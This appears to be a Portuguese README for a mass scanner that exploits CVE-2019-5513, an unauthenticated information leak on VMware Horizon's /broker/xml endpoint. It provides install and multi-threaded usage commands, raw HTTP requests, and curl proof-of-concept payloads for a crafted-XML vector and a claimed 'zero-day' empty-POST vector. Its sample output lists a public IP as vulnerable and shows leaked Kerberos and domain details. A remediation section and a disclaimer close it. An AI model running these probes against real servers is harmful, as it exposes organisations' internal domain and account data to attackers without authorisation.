
O VMware Horizon Connection Server é frequentemente usado como um gateway voltado para a internet para o ambiente de desktop virtual (VDI) de uma organização. Até recentemente, a maioria dessas instalações expunha o nome interno do Connection Server, o endereço IP interno do gateway e o domínio do Active Directory a invasores não autenticados.
Um scanner multi-thread de alto desempenho para detectar vulnerabilidades de divulgação de informações não autenticadas no endpoint /broker/xml do VMware Horizon Connection Server.
O VMware Horizon Connection Server expõe um endpoint de API XML (/broker/xml) que pode vazar informações internas de configuração sensíveis sem exigir autenticação. Este scanner identifica rapidamente servidores vulneráveis testando dois vetores de ataque:
get-configuration.| Atributo | Valor |
|---|---|
| CVE | CVE-2019-5513 |
| Pontuação CVSS | 5.3 (Médio) |
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| Produtos Afetados | VMware Horizon Connection Server 7.x anterior a 7.8, 7.5.x anterior a 7.5.2, 6.x anterior a 6.2.8 |
| Informações Vazadas | Nome do domínio do Active Directory, nome da conta de serviço (conta de máquina), nomes de host internos, endereços IP do gateway |
<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>[email protected]</name>
</broker-service-principal>
<domain>corporate-domain.example.com</domain>
</configuration>
</broker>
⚡ Recursos
Extremamente Rápido — Arquitetura multi-thread (padrão: 50 threads simultâneas)
Teste de Protocolo Duplo — Verifica HTTPS (porta 443) e HTTP (porta 80) simultaneamente
Dois Vetores de Ataque — Testa corpo POST vazio (zero-day) + XML forjado (CVE-2019-5513)
Timeouts Baixos — Máximo de 5 segundos por requisição, timeout de conexão de 3 segundos
Saída Clara — Resultados com código de cores e resposta XML completa para hosts vulneráveis
Exportação de Resultados — Salva todas as descobertas em um arquivo com a opção -o
Sem Dependências — Usa apenas o curl (padrão na maioria dos sistemas)
🚀 Instalação
# Clone the repository
git clone https://github.com/sudosu01/CVE-2019-5513-scanner.git
cd vmware-horizon-scanner
# Make the script executable
chmod +x broker.sh
📖 Uso
Scan Básico
./broker.sh -d targets.txt
Scan com Threads Personalizadas (Mais Rápido)
./broker.sh -d targets.txt -t 100
Scan e Salvar Resultados
./broker.sh -d targets.txt -t 100 -o results.txt
Opções de Linha de Comando
Opção Descrição
-d <file> Arquivo de entrada contendo lista de endereços IP/hostnames (um por linha)
-t <num> Número de threads (padrão: 50)
-o <file> Arquivo de saída para salvar os resultados
-h Mostrar mensagem de ajuda
Formato do Arquivo de Entrada (targets.txt)
# Comments start with #
185.171.101.236
192.168.1.100
10.0.0.50
example-vmware.com
📊 Exemplo de Saída
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
VMware Horizon /broker/xml Vulnerability Scanner
Multi-Threaded Mode - 50 threads
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Testing: Empty POST (Zero-Day) + Crafted XML (CVE-2019-5513)
[*] Protocols: HTTPS + HTTP (both tested simultaneously)
[*] Scanning 3 hosts...
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 185.171.101.236 | VULNERABLE | HTTPS | EMPTY_POST
Response:
<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>TEST-SERVER$@DOMAIN</name>
</broker-service-principal>
</configuration>
</broker>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[-] 192.168.1.100 | NOT VULNERABLE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 10.0.0.50 | VULNERABLE | HTTP | CRAFTED_XML
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] SCAN COMPLETE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Total hosts: 3
Vulnerable: 2
Not vulnerable: 1
Time taken: 4 seconds
🔬 Testando com Burp Suite
Para testes manuais, aqui estão as requisições brutas:
Teste 1: Corpo POST Vazio (Zero-Day)
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 0
Teste 2: XML Forjado (CVE-2019-5513)
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 115
<?xml version='1.0' encoding='UTF-8'?><broker version='10.0'><get-configuration></get-configuration></broker>
📝 Comandos curl de PoC
Corpo POST Vazio
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
-d ''
XML Forjado
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
--data-binary '<?xml version="1.0" encoding="UTF-8"?><broker version="10.0"><get-configuration></get-configuration></broker>'
🛡️ Remediação
Atualize o VMware Horizon Connection Server para uma versão corrigida:
Versão Versão Corrigida 7.x 7.8 ou posterior 7.5.x 7.5.2 ou posterior 6.x 6.2.8 ou posterior
Mitigações Adicionais:
Implemente controles de acesso à rede para restringir o acesso ao endpoint /broker/xml
Use regras de WAF para bloquear requisições não autenticadas a esse endpoint
Monitore requisições POST suspeitas para /broker/xml
🙏 Créditos
Esta ferramenta é baseada na pesquisa dos seguintes pesquisadores de segurança:
Descoberta Original do CVE-2019-5513 — Atredis Partners
Cory Mathews da Critical Start (descoberta independente)
Descoberta de Zero-Day Nesta Ferramenta
O vetor de ataque de corpo POST vazio foi identificado durante pesquisas adicionais. O CVE original exigia uma payload XML forjada; esta ferramenta também testa o método de corpo vazio, que não requer construção de payload e é ainda mais simples de executar.
⚠️ Aviso Legal
Esta ferramenta é apenas para fins educacionais e testes de segurança autorizados. A varredura não autorizada de sistemas que você não possui ou para os quais não tem permissão explícita para testar pode violar leis e regulamentos. Os autores não se responsabilizam por mau uso.
📄 Licença
Licença MIT
⭐ Suporte
Se você acha esta ferramenta útil, por favor, dê uma estrela no GitHub!